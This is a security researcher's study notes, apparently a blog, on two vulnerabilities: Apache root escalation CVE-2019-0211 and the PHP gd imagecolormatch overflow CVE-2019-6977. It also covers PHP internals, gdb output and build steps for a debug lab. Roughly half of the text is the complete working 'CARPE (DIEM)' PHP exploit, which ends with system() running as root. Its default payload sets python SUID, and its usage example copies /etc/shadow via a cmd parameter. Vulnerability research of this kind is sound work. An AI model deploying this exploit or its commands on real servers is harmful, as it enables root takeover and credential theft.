-rwsr-sr-x 1 root root 4526456 Nov 7 2019 /usr/bin/python3.6
# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation# Charles Fol# @cfreal_# 2019-04-08## INFOS## https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html## USAGE## 1. Upload exploit to Apache HTTP server# 2. Send request to page# 3. Await 6:25AM for logrotate to restart Apache# 4. python3.5 is now suid 0## You can change the command that is ran as root using the cmd HTTP# parameter (GET/POST).# Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/## SUCCESS RATE## Number of successful and failed exploitations relative to of the number# of MPM workers (i.e. Apache subprocesses). YMMV.## W --% S F# 5 87% 177 26 (default)# 8 89% 60 8# 10 95% 70 4## More workers, higher success rate.# By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.# Generally, failure is due to all_buckets being relocated too far from its# original address.## TESTED ON## - Apache/2.4.25# - PHP 7.2.12# - Debian GNU/Linux 9.6## TESTING## $ curl http://localhost/cfreal-carpediem.php# $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force# $ ls -alh /usr/bin/python3.5# -rwsr-sr-x 2 root root 4.6M Sep 27 2018 /usr/bin/python3.5## There are no hardcoded addresses.# - Addresses read through /proc/self/mem# - Offsets read through ELF parsing## As usual, there are tons of comments.#o('CARPE (DIEM) ~ CVE-2019-0211');o('');error_reporting(E_ALL);# Starts the exploit by triggering the UAF.function real(){global $y;$y = [new Z()];json_encode([0 => &$y]);}# In order to read/write what comes after in memory, we need to UAF a string so# that we can control its size and make in-place edition.# An easy way to do that is to replace the string by a timelib_rel_time# structure of which the first bytes can be reached by the (y, m, d, h, i, s)# properties of the DateInterval object.## Steps:# - Create a base object (Z)# - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)# - Create DateInterval object ($place) meant to be unset and filled by another# - Trigger the UAF by unsetting $y[0], which is still reachable using $this# - Unset $place: at this point, if we create a new DateInterval object, it will# replace $place in memory# - Create a string ($holder) that fills $place's timelib_rel_time structure# - Allocate a new DateInterval object: its timelib_rel_time structure will# end up in place of abc# - Now we can control $this->abc's zend_string structure entirely using# y, m, d etc.# - Increase abc's size so that we can read/write memory that comes after it,# especially the shared memory block# - Find out all_buckets' position by finding a memory region that matches the# mutex->meth structure# - Compute the bucket index required to reach the SHM and get an arbitrary# function call# - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the# bucketclass Z implements JsonSerializable{public function jsonSerialize(){global $y, $addresses, $workers_pids;## Setup memory#o('Triggering UAF');o(' Creating room and filling empty spaces');# Fill empty blocks to make sure our allocations will be contiguous# I: Since a lot of allocations/deallocations happen before the script# is ran, two variables instanciated at the same time might not be# contiguous: this can be a problem for a lot of reasons.# To avoid this, we instanciate several DateInterval objects. These# objects will fill a lot of potentially non-contiguous memory blocks,# ensuring we get "fresh memory" in upcoming allocations.$contiguous = [];for($i=0;$i<10;$i++)$contiguous[] = new DateInterval('PT1S');# Create some space for our UAF blocks not to get overwritten# I: A PHP object is a combination of a lot of structures, such as# zval, zend_object, zend_object_handlers, zend_string, etc., which are# all allocated, and freed when the object is destroyed.# After the UAF is triggered on the object, all the structures that are# used to represent it will be marked as free.# If we create other variables afterwards, those variables might be# allocated in the object's previous memory regions, which might pose# problems for the rest of the exploitation.# To avoid this, we allocate a lot of objects before the UAF, and free# them afterwards. Since PHP's heap is LIFO, when we create other vars,# they will take the place of those objects instead of the object we# are triggering the UAF on. This means our object is "shielded" and# we don't have to worry about breaking it.$room = [];for($i=0;$i<10;$i++)$room[] = new Z();# Build string meant to fill old DateInterval's timelib_rel_time# I: ptr2str's name is unintuitive here: we just want to allocate a# zend_string of size 78.$_protector = ptr2str(0, 78);o(' Allocating $abc and $p');# Create ABC# I: This is the variable we will use to R/W memory afterwards.# After we free the Z object, we'll make sure abc is overwritten by a# timelib_rel_time structure under our control. The first 8*8 = 64 bytes# of this structure can be modified easily, meaning we can change the# size of abc. This will allow us to read/write memory after abc.$this->abc = ptr2str(0, 79);# Create $p meant to protect $this's blocks# I: Right after we trigger the UAF, we will unset $p.# This means that the timelib_rel_time structure (TRT) of this object# will be freed. We will then allocate a string ($protector) of the same# size as TRT. Since PHP's heap is LIFO, the string will take the place# of the now-freed TRT in memory.# Then, we create a new DateInterval object ($x). From the same# assumption, every structure constituting this new object will take the# place of the previous structure. Nevertheless, since TRT's memory# block has already been replaced by $protector, the new TRT will be put# in the next free blocks of the same size, which happens to be $abc# (remember, |abc| == |timelib_rel_time|).# We now have the following situation: $x is a DateInterval object whose# internal TRT structure has the same address as $abc's zend_string.$p = new DateInterval('PT1S');## Trigger UAF#o(' Unsetting both variables and setting $protector');# UAF here, $this is usable despite being freedunset($y[0]);# Protect $this's freed blocksunset($p);# Protect $p's timelib_rel_time structure$protector = ".$_protector";# !!! This is only required for apache# Got no idea as to why there is an extra deallocation (?)o(' Creating DateInterval object');# After this line:# &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str# We can control the structure of $this->abc and therefore read/write# anything that comes after it in memory by changing its size and# making in-place edits using $this->abc[$position] = $char$x = new DateInterval('PT1S');# zend_string.refcount = 0# It will get incremented at some point, and if it is > 1,# zend_assign_to_string_offset() will try to duplicate it before making# the in-place replacement$x->y = 0x00;# zend_string.len$x->d = 0x100;# zend_string.val[0-4]$x->h = 0x13121110;# Verify UAF was successful# We modified stuff via $x; they should be visible by $this->abc, since# they are at the same memory location.if(!(strlen($this->abc) === $x->d &&$this->abc[0] == "x10" &&$this->abc[1] == "x11" &&$this->abc[2] == "x12" &&$this->abc[3] == "x13")){o('UAF failed, exiting.');exit();}o('UAF successful.');o('');# Give us some room# I: As indicated before, just unset a lot of stuff so that next allocs# don't break our fragile UAFd structure.unset($room);## Setup the R/W primitive## We control $abc's internal zend_string structure, therefore we can R/W# the shared memory block (SHM), but for that we need to know the# position of $abc in memory# I: We know the absolute position of the SHM, so we need to need abc's# as well, otherwise we cannot compute the offset# Assuming the allocation was contiguous, memory looks like this, with# 0x70-sized fastbins:# [zend_string:abc]# [zend_string:protector]# [FREE#1]# [FREE#2]# Therefore, the address of the 2nd free block is in the first 8 bytes# of the first block: 0x70 * 2 - 24$address = str2ptr($this->abc, 0x70 * 2 - 24);# The address we got points to FREE#2, hence we're |block| * 3 higher in# memory$address = $address - 0x70 * 3;# The beginning of the string is 24 bytes after its origin$address = $address + 24;o('Address of $abc: 0x' . dechex($address));o('');# Compute the size required for our string to include the whole SHM and# apache's memory region$distance =max($addresses['apache'][1], $addresses['shm'][1]) -$address;$x->d = $distance;# We can now read/write in the whole SHM and apache's memory region.## Find all_buckets in memory## We are looking for a structure s.t.# |all_buckets, mutex| = 0x10# |mutex, meth| = 0x8# all_buckets is in apache's memory region# mutex is in apache's memory region# meth is in libaprR's memory region# meth's function pointers are in libaprX's memory regiono('Looking for all_buckets in memory');$all_buckets = 0;for($i = $addresses['apache'][0] + 0x10;$i < $addresses['apache'][1] - 0x08;$i += 8){# mutex$mutex = $pointer = str2ptr($this->abc, $i - $address);if(!in($pointer, $addresses['apache']))continue;# meth$meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);if(!in($pointer, $addresses['libaprR']))continue;o(' [&mutex]: 0x' . dechex($i));o(' [mutex]: 0x' . dechex($mutex));o(' [meth]: 0x' . dechex($meth));# meth->*# flagsif(str2ptr($this->abc, $pointer - $address) != 0)continue;# methodsfor($j=0;$j<7;$j++){$m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);if(!in($m, $addresses['libaprX']))continue 2;o(' [*]: 0x' . dechex($m));}$all_buckets = $i - 0x10;o('all_buckets = 0x' . dechex($all_buckets));break;}if(!$all_buckets){o('Unable to find all_buckets');exit();}o('');# The address of all_buckets will change when apache is gracefully# restarted. This is a problem because we need to know all_buckets's# address in order to make all_buckets[some_index] point to a memory# region we control.## Compute potential bucket indexes and their addresses#o('Computing potential bucket indexes and addresses');# Since we have sizeof($workers_pid) MPM workers, we can fill the rest# of the ap_score_image->servers items, so 256 - sizeof($workers_pids),# with data we like. We keep the one at the top to store our payload.# The rest is sprayed with the address of our payload.$size_prefork_child_bucket = 24;$size_worker_score = 264;# I get strange errors if I use every "free" item, so I leave twice as# many items free. I'm guessing upon startup some$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);$spray_max = $addresses['shm'][1];$spray_min = $spray_max - $spray_size;$spray_middle = (int) (($spray_min + $spray_max) / 2);$bucket_index_middle = (int) (- ($all_buckets + 0x1a000 - $spray_middle) /$size_prefork_child_bucket);//o(dechex($bucket_index_middle));// o(dechex($bucket_index_middle) . " " . dechex($all_buckets) . " " . dechex($spray_middle) . " " . dechex($size_prefork_child_bucket));## Build payload## A worker_score structure was kept empty to put our payload in$payload_start = $spray_min - $size_worker_score;$z = ptr2str(0);# Payload maxsize 264 - 112 = 152# Offset 8 cannot be 0, but other than this you can type whatever# command you want$bucket = isset($_REQUEST['cmd']) ?$_REQUEST['cmd'] :"chmod +s /usr/bin/python3.6";if(strlen($bucket) > $size_worker_score - 112){o('Payload size is bigger than available space (' .($size_worker_score - 112) .'), exiting.');exit();}# Align$bucket = str_pad($bucket, $size_worker_score - 112, "x00");# apr_proc_mutex_unix_lock_methods_t$meth =$z .$z .$z .$z .$z .$z .# child_initptr2str($addresses['zend_object_std_dtor']);# The second pointer points to meth, and is used before reaching the# arbitrary function call# The third one and the last one are both used by the function call# zend_object_std_dtor(object) => ... => system(&arData[0]->val)$properties =# refcountptr2str(1) .# u-nTableMask methptr2str($payload_start + strlen($bucket)) .# Bucket arDataptr2str($payload_start) .# uint32_t nNumUsed;ptr2str(1, 4) .# uint32_t nNumOfElements;ptr2str(0, 4) .# uint32_t nTableSizeptr2str(0, 4) .# uint32_t nInternalPointerptr2str(0, 4) .# zend_long nNextFreeElement$z .# dtor_func_t pDestructorptr2str($addresses['system']);$payload =$bucket .$meth .$properties;# Write the payloado('Placing payload at address 0x' . dechex($payload_start));$p = $payload_start - $address;for($i = 0;$i < strlen($payload);$i++){$this->abc[$p+$i] = $payload[$i];}# Fill the spray area with a pointer to properties$properties_address = $payload_start + strlen($bucket) + strlen($meth);o('Spraying pointer');o(' Address: 0x' . dechex($properties_address));o(' From: 0x' . dechex($spray_min));o(' To: 0x' . dechex($spray_max));o(' Size: 0x' . dechex($spray_size));o(' Covered: 0x' . dechex($spray_size * count($workers_pids)));o(' Apache: 0x' . dechex($addresses['apache'][1] -$addresses['apache'][0]));$s_properties_address = ptr2str($properties_address);for($i = $spray_min;$i < $spray_max;$i++){$this->abc[$i - $address] = $s_properties_address[$i % 8];}o('');# Find workers PID in the SHM: it indicates the beginning of their# process_score structure. We can then change process_score.bucket to# the index we computed. When apache reboots, it will use# all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex# which means we control the whole apr_proc_mutex_t structure.# This structure contains pointers to multiple functions, especially# mutex->meth->child_init(), which will be called before privileges# are dropped.# We do this for every worker PID, incrementing the bucket index so that# we cover a bigger range.o('Iterating in SHM to find PIDs...');# Number of bucket indexes covered by our spray$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);# Number of bucket indexes covered by our spray and the PS structures$total_nb_buckets = $spray_nb_buckets * count($workers_pids);# First bucket index to handle$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);// $bucket_index = $bucket_index_middle;# Iterate over every process_score structure until we find every PID or# we reach the end of the SHMfor($p = $addresses['shm'][0] + 0x20;$p < $addresses['shm'][1] && count($workers_pids) > 0;$p += 0x24){$l = $p - $address;$current_pid = str2ptr($this->abc, $l, 4);o('Got PID: ' . $current_pid);# The PID matches one of the workersif(in_array($current_pid, $workers_pids)){unset($workers_pids[$current_pid]);o(' PID matches');# Update bucket address$s_bucket_index = pack('l', $bucket_index);$this->abc[$l + 0x20] = $s_bucket_index[0];$this->abc[$l + 0x21] = $s_bucket_index[1];$this->abc[$l + 0x22] = $s_bucket_index[2];$this->abc[$l + 0x23] = $s_bucket_index[3];o(' Changed bucket value to ' . $bucket_index);$min = $spray_min - $size_prefork_child_bucket * $bucket_index;$max = $spray_max - $size_prefork_child_bucket * $bucket_index;o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));# This bucket range is covered, go to the next one$bucket_index += $spray_nb_buckets;}}if(count($workers_pids) > 0){o('Unable to find PIDs ' .implode(', ', $workers_pids) .' in SHM, exiting.');exit();}o('');o('EXPLOIT SUCCESSFUL.');o('Await 6:25AM.');return 0;}}function o($msg){# No concatenation -> no string allocationprint($msg);print("n");}function ptr2str($ptr, $m=8){$out = "";for ($i=0; $i<$m; $i++){$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}function str2ptr(&$str, $p, $s=8){$address = 0;for($j=$s-1;$j>=0;$j--){$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function in($i, $range){return $i >= $range[0] && $i < $range[1];}/*** Finds the offset of a symbol in a file.*/function find_symbol($file, $symbol){$elf = file_get_contents($file);$e_shoff = str2ptr($elf, 0x28);$e_shentsize = str2ptr($elf, 0x3a, 2);$e_shnum = str2ptr($elf, 0x3c, 2);$dynsym_off = 0;$dynsym_sz = 0;$dynstr_off = 0;for($i=0;$i<$e_shnum;$i++){$offset = $e_shoff + $i * $e_shentsize;$sh_type = str2ptr($elf, $offset + 0x04, 4);$SHT_DYNSYM = 11;$SHT_SYMTAB = 2;$SHT_STRTAB = 3;switch($sh_type){case $SHT_DYNSYM:$dynsym_off = str2ptr($elf, $offset + 0x18, 8);$dynsym_sz = str2ptr($elf, $offset + 0x20, 8);break;case $SHT_STRTAB:case $SHT_SYMTAB:if(!$dynstr_off)$dynstr_off = str2ptr($elf, $offset + 0x18, 8);break;}}if(!($dynsym_off && $dynsym_sz && $dynstr_off))exit('.');$sizeof_Elf64_Sym = 0x18;for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++){$offset = $dynsym_off + $i * $sizeof_Elf64_Sym;$st_name = str2ptr($elf, $offset, 4);if(!$st_name)continue;$offset_string = $dynstr_off + $st_name;$end = strpos($elf, "x00", $offset_string) - $offset_string;$string = substr($elf, $offset_string, $end);if($string == $symbol){$st_value = str2ptr($elf, $offset + 0x8, 8);return $st_value;}}die('Unable to find symbol ' . $symbol);}# Obtains the addresses of the shared memory block and some functions through# /proc/self/maps# This is hacky as hell.function get_all_addresses(){$addresses = [];$data = file_get_contents('/proc/self/maps');$follows_shm = false;foreach(explode("n", $data) as $line){if(!isset($addresses['shm']) && strpos($line, '/dev/zero')){$line = explode(' ', $line)[0];$bounds = array_map('hexdec', explode('-', $line));$msize = $bounds[1] - $bounds[0];if ($msize >= 0x10000 && $msize <= 0x20000){$addresses['shm'] = $bounds;$follows_shm = true;}}if(preg_match('#(/[^s]+libc-[0-9.]+.so[^s]*)#', $line, $matches) &&strpos($line, 'r-xp')){$offset = find_symbol($matches[1], 'system');$line = explode(' ', $line)[0];$line = hexdec(explode('-', $line)[0]);$addresses['system'] = $line + $offset;}if(strpos($line, 'libapr-1.so') &&strpos($line, 'r-xp')){$line = explode(' ', $line)[0];$bounds = array_map('hexdec', explode('-', $line));$addresses['libaprX'] = $bounds;}if(strpos($line, 'libapr-1.so') &&strpos($line, 'r--p')){$line = explode(' ', $line)[0];$bounds = array_map('hexdec', explode('-', $line));$addresses['libaprR'] = $bounds;}# Apache's memory block is between the SHM and ld.so# Sometimes some rwx region gets mapped; all_buckets cannot be in there# but we include it anyways for the sake of simplicityif((strpos($line, 'rw-p') ||strpos($line, 'rwxp')) &&$follows_shm){if(strpos($line, '/lib')){$follows_shm = false;continue;}$line = explode(' ', $line)[0];$bounds = array_map('hexdec', explode('-', $line));if(!array_key_exists('apache', $addresses))$addresses['apache'] = $bounds;else if($addresses['apache'][1] == $bounds[0])$addresses['apache'][1] = $bounds[1];else$follows_shm = false;}if(preg_match('#(/[^s]+libphp7[0-9.]*.so[^s]*)#', $line, $matches) &&strpos($line, 'r-xp')){$offset = find_symbol($matches[1], 'zend_object_std_dtor');$line = explode(' ', $line)[0];$line = hexdec(explode('-', $line)[0]);$addresses['zend_object_std_dtor'] = $line + $offset;}}$expected = ['shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor'];$missing = array_diff($expected, array_keys($addresses));if($missing){o('The following addresses were not determined by parsing ' .'/proc/self/maps: ' . implode(', ', $missing));exit(0);}o('PID: ' . getmypid());o('Fetching addresses');foreach($addresses as $k => $a){if(!is_array($a))$a = [$a];o(' ' . $k . ': ' . implode('-0x', array_map(function($z) {return '0x' . dechex($z);}, $a)));}o('');return $addresses;}# Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,# matching the cmdline and the UIDfunction get_workers_pids(){o('Obtaining apache workers PIDs');$pids = [];$cmd = file_get_contents('/proc/self/cmdline');$processes = glob('/proc/*');foreach($processes as $process){if(!preg_match('#^/proc/([0-9]+)$#', $process, $match))continue;$pid = (int) $match[1];if(!is_readable($process . '/cmdline') ||!is_readable($process . '/status'))continue;if($cmd !== file_get_contents($process . '/cmdline'))continue;$status = file_get_contents($process . '/status');foreach(explode("n", $status) as $line){if(strpos($line, 'Uid:') === 0 &&preg_match('#b' . posix_getuid() . 'b#', $line)){o(' Found apache worker: ' . $pid);$pids[$pid] = $pid;break;}}}o('Got ' . sizeof($pids) . ' PIDs.');o('');return $pids;}$addresses = get_all_addresses();$workers_pids = get_workers_pids();real();
函数
https://www.kancloud.cn/nickbai/php7/363282
其中无返回值函数的解释和执行在ZEND_DO_UCALL_SPEC_RETVAL_UNUSED_HANDLER中完成。
通过VM_ENTER宏以此调用opcode对应的handler处理指令。
0 execute_ex1 0x0000555555ddd43d in zend_execute2 0x0000555555c1b919 in zend_execute_scripts3 0x0000555555b60723 in php_execute_script4 0x0000555555de0cf8 in do_cli5 0x0000555555de20bf in main6 0x00007ffff6a38b97 in __libc_start_main7 0x00005555556896aa in _start ()
ZEND_API void execute_ex(zend_execute_data *ex){while (1) {...HYBRID_CASE(ZEND_DO_UCALL_SPEC_RETVAL_UNUSED):ZEND_DO_UCALL_SPEC_RETVAL_UNUSED_HANDLER(ZEND_OPCODE_HANDLER_ARGS_PASSTHRU);HYBRID_BREAK();...}
static ZEND_VM_HOT ZEND_OPCODE_HANDLER_RET ZEND_FASTCALL ZEND_DO_UCALL_SPEC_RETVAL_UNUSED_HANDLER(ZEND_OPCODE_HANDLER_ARGS){USE_OPLINEzend_execute_data *call = EX(call);zend_function *fbc = call->func;zval *ret;...&fbc->op_array, ret);ZEND_VM_ENTER();}
保存了php函数名称,参数,opcode数组op_array
union _zend_function {zend_uchar type;uint32_t quick_arg_flags;struct {...zend_string *function_name;...uint32_t num_args;uint32_t required_num_args;...common;zend_op_array op_array;zend_internal_function internal_function;};
struct _zend_op_array {Common elements */zend_uchar type;...zend_string *function_name;...zend_op *opcodes;...HashTable *static_variables;}struct _zend_op {const void *handler;...zend_uchar opcode;...};
这样下断点可以观察到即将执行的自定义函数
gdbfile phpb mainr uaf.phpb i_init_func_execute_datacsip (char *)(op_array.function_name.val)csip (char *)(op_array.function_name.val)
类
// A PHP object is a combination of a lot of structures, such as zval, zend_object, zend_object_handlers, zend_string, etc., which are all allocated, and freed when the object is destroyed.struct _zend_object {zend_refcounted_h gc; // 引用计数器,8字节uint32_t handle;zend_class_entry *ce;const zend_object_handlers *handlers;HashTable *properties;zval properties_table[1];};
struct _zend_class_entry {char type;zend_string *name;struct _zend_class_entry *parent;int refcount;uint32_t ce_flags;...HashTable function_table;HashTable properties_info;HashTable constants_table;...union _zend_function *constructor;union _zend_function *destructor;...}
struct _zend_object_handlers {/* offset of real object header (usually zero) */int offset;/* general object functions */zend_object_free_obj_t free_obj;...}
变量
https://www.kancloud.cn/nickbai/php7/363267
http://www.phpinternalsbook.com/php7/internal_types/strings/zend_strings.html
struct _zend_string {zend_refcounted_h gc; // 引用计数器,8字节zend_ulong h;size_t len;char val[1];}struct _zend_string zend_string;
CVE-2019-6977
https://bugs.php.net/bug.php?id=77270
https://github.com/cfreal/exploits/blob/master/CVE-2019-6977-imagecolormatch/exploit.php
https://nvd.nist.gov/vuln/detail/CVE-2019-6977
主要是调用gdImageCreateTrueColor分配内存并初始化一个gdImage结构体
typedef struct gdImageStruct {/* Palette-based image pixels */unsigned char ** pixels;int sx;int sy;...int ** tpixels;...} gdImage;typedef gdImage * gdImagePtr;
// php/ext/gd/gd.cPHP_FUNCTION(imagecreatetruecolor){...im = gdImageCreateTrueColor(x_size, y_size);...}// php/ext/gd/libgd/gd.cgdImagePtr gdImageCreateTrueColor (int sx, int sy){int i;gdImagePtr im;...im = (gdImage *) gdMalloc(sizeof(gdImage));memset(im, 0, sizeof(gdImage));im->tpixels = (int **) gdMalloc(sizeof(int *) * sy);...for (i = 0; i < sy; i++) {im->tpixels[i] = (int *) gdCalloc(sx, sizeof(int));}...im->trueColor = 1;...return im;}
给一个图像分配颜色
// phpint imagecolorallocate ( resource $image , int $red , int $green , int $blue )
PHP_FUNCTION(imagecolorallocate){zval *IM;zend_long red, green, blue;gdImagePtr im;int ct = (-1);...ct = gdImageColorAllocate(im, red, green, blue);...}int gdImageColorAllocate (gdImagePtr im, int r, int g, int b){return gdImageColorAllocateAlpha (im, r, g, b, gdAlphaOpaque);}// truecolor 图像int gdImageColorAllocateAlpha (gdImagePtr im, int r, int g, int b, int a){int i;int ct = (-1);if (im->trueColor) {return gdTrueColorAlpha(r, g, b, a);}...}((r) << 16) +((g) << 8) +(b))
imagecreate — 新建一个基于调色板的图像
PHP_FUNCTION(imagecreate){zend_long x_size, y_size;gdImagePtr im;...im = gdImageCreate(x_size, y_size);...}gdImagePtr gdImageCreate (int sx, int sy){int i;gdImagePtr im;...im = (gdImage *) gdCalloc(1, sizeof(gdImage));im->pixels = (unsigned char **) gdMalloc(sizeof(unsigned char *) * sy);...for (i = 0; i < sy; i++) {im->pixels[i] = (unsigned char *) gdCalloc(sx, sizeof(unsigned char));}im->sx = sx;im->sy = sy;...for (i = 0; i < gdMaxColors; i++) {im->open[i] = 1;im->red[i] = 0;im->green[i] = 0;im->blue[i] = 0;}im->trueColor = 0;im->tpixels = 0;...return im;}
int gdImageColorAllocateAlpha (gdImagePtr im, int r, int g, int b, int a){int i;int ct = (-1);...for (i = 0; i < im->colorsTotal; i++) {if (im->open[i]) {ct = i;break;}}if (ct == (-1)) {ct = im->colorsTotal;if (ct == gdMaxColors) {return -1;}im->colorsTotal++;}im->red[ct] = r;im->green[ct] = g;im->blue[ct] = b;im->alpha[ct] = a;im->open[ct] = 0;return ct;}
PHP_FUNCTION(imagecolormatch){...result = gdImageColorMatch(im1, im2);...}iint gdImageColorMatch (gdImagePtr im1, gdImagePtr im2){unsigned long *buf; /* stores our calculations */unsigned long *bp; /* buf ptr */int color, rgb;int x,y;int count;...buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);memset( buf, 0, sizeof(unsigned long) * 5 * im2->colorsTotal );for (x=0; x<im1->sx; x++) {for( y=0; y<im1->sy; y++ ) {color = im2->pixels[y][x];rgb = im1->tpixels[y][x];// 一共有0~255个颜色(color),每个颜色占五个long:每个color的次数,红色的深度(0~255),绿色的深度,蓝色的深度,alpha大小bp = buf + (color * 5);(*(bp++))++;*(bp++) += gdTrueColorGetRed(rgb);*(bp++) += gdTrueColorGetGreen(rgb);*(bp++) += gdTrueColorGetBlue(rgb);*(bp++) += gdTrueColorGetAlpha(rgb);}}bp = buf;for (color=0; color<im2->colorsTotal; color++) {count = *(bp++);if( count > 0 ) {im2->red[color] = *(bp++) / count;im2->green[color] = *(bp++) / count;im2->blue[color] = *(bp++) / count;im2->alpha[color] = *(bp++) / count;} else {bp += 4;}}gdFree(buf);return 0;}
imagecolormatch会根据调色板图像的im->colorsTotal创建一个缓冲区:
buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);
bp = buf + (color * 5);
(0~255)
,且colorsTotal和color都可以由用户控制,最终可以实现越界写。
调试环境搭建
非源码环境的进程maps:gdb-peda$ p all_buckets$5 = (prefork_child_bucket *) 0x7f2847b501d07f2847ae3000-7f2847af7000 rw-s 00000000 00:01 279724 /dev/zero (deleted)7f2847af7000-7f2847b46000 rw-p 00000000 00:00 07f2847b46000-7f2847bf9000 rw-p 00000000 00:00 07f2847bf9000-7f2847c0b000 rw-p 00000000 00:00 07f2847c0b000-7f2847c0c000 r--p 00027000 08:01 661145 /lib/x86_64-linux-gnu/ld-2.27.so7f2847c0c000-7f2847c0d000 rw-p 00028000 08:01 661145 /lib/x86_64-linux-gnu/ld-2.27.so...源码环境的进程maps:gdb-peda$ p all_buckets$1 = (prefork_child_bucket *) 0x557e1eddf878$ sudo cat /proc/130839/maps557e1ddf4000-557e1dea8000 r-xp 00000000 08:01 2114741 /usr/local/httpd/bin/httpd557e1e0a8000-557e1e0ab000 r--p 000b4000 08:01 2114741 /usr/local/httpd/bin/httpd557e1e0ab000-557e1e0af000 rw-p 000b7000 08:01 2114741 /usr/local/httpd/bin/httpd557e1e0af000-557e1e0b2000 rw-p 00000000 00:00 0557e1ed67000-557e1ee10000 rw-p 00000000 00:00 0 [heap]557e1ee10000-557e1ef18000 rw-p 00000000 00:00 0[heap]
sudo apt updatesudo apt-get -y install build-essential git autoconf vimwget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-1.6.5.tar.gztar xf apr-1.6.5.tar.gzcd apr-1.6.5./configure --prefix=/usr/local/apr/ CFLAGS=-gmakesudo make installcd ..sudo apt-get install libexpat1-devwget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-util-1.6.1.tar.gztar -zxvf apr-util-1.6.1.tar.gzcd apr-util-1.6.1./configure --prefix=/usr/local/apr-util --with-apr=/usr/local/apr CFLAGS=-gmakesudo make installcd ..sudo apt-get -y install libpcre3-dev zlib1g-devwget http://archive.apache.org/dist/httpd/httpd-2.4.38.tar.gztar -zxvf httpd-2.4.38.tar.gzcd httpd-2.4.38./configure --prefix=/usr/local/httpd/--sysconfdir=/etc/httpd/--with-include-apr--disable-userdir--enable-headers--with-mpm=prefork--enable-modules=most--enable-so--enable-deflate--enable-defate=shared--enable-expires-shared--enable-rewrite=shared--enable-static-support--with-apr=/usr/local/apr/--with-apr-util=/usr/local/apr-util/bin--with-ssl--with-zCFLAGS=-gmakesudo make installsudo ln -s /usr/local/httpd/bin/apachectl /usr/sbin/apachectlsudo groupadd wwwsudo useradd -g www www -s /bin/falsesudo sed -i 's,#ServerName www.example.com,ServerName localhost,' /usr/local/httpd/conf/httpd.confsudo sed -i 's,User daemon,User www,' /usr/local/httpd/conf/httpd.confsudo sed -i 's,Group daemon,Group www,' /usr/local/httpd/conf/httpd.confsudo echo -e "nListen 8080nAddType application/x-httpd-php .php" >> /usr/local/httpd/conf/httpd.confsudo apachectl start测试ps -aux|grep httpdcurl localhostweb目录cat /etc/httpd/httpd.conf |grep DocumentRoot参考https://blog.csdn.net/m0_37886429/article/details/79643078https://segmentfault.com/a/1190000002763150
sudo apt-get -y installlibldb-devsudo apt-get -y install build-essentialwget https://www.php.net/distributions/php-7.2.13.tar.gztar -zxvf php-7.2.13.tar.gzcd php-7.2.13--prefix=/usr/local/php7.2.13 --with-apxs2=/usr/local/httpd/bin/apxs --with-gd CFLAGS=-gmakesudo make install测试sudo ln -s /usr/local/php7.2.13/bin/php /usr/sbin/phpphp -vPHP 7.2.13 (cli) (built: May 8 2020 01:10:56) ( ZTS )Copyright (c) 1997-2018 The PHP GroupZend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies参考https://docs.moodle.org/38/en/Compiling_PHP_from_source
